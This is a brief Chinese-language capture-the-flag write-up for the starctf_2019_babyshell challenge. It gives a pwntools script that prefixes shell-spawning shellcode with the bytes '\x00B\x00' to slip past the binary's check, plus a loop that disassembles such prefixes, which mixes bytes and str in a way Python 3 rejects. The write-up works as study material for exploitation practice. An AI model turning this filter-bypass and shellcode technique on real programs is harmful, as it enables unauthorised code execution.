image.png
    只要绕过这个判断就会执行shellcode

    1.  #coding=utf8
    2. from pwn import *
    3. from LibcSearcher import* 
    4. context.log_level = 'debug'
    5. context.arch='amd64'
    6. io =process('./starctf_2019_babyshell')
    7. elf = ELF('./starctf_2019_babyshell')
    8. #libc = ELF('libc-2.23.so')
    9. #io =remote('node4.buuoj.cn',25198)
    10. shellcode = asm(shellcraft.sh())
    11. payload =b"\x00B"+b"\x00"+shellcode
    12. io.recvuntil("give me shellcode, plz:")
    13. gdb.attach(io)
    14. pause()
    15. io.sendline(payload)
    16. io.interactive()

    为什么是”\x00B\x00”绕过的话

    1. from pwn import *
    2. for i in range(ord('A'),ord('Z')+1):
    3.     p =b'\x00'+chr(i)+b'\x00'
    4.     print(p)
    5.     print(disasm(p))

    加了这句话让当前的寄存器最后能shell的时候不受影响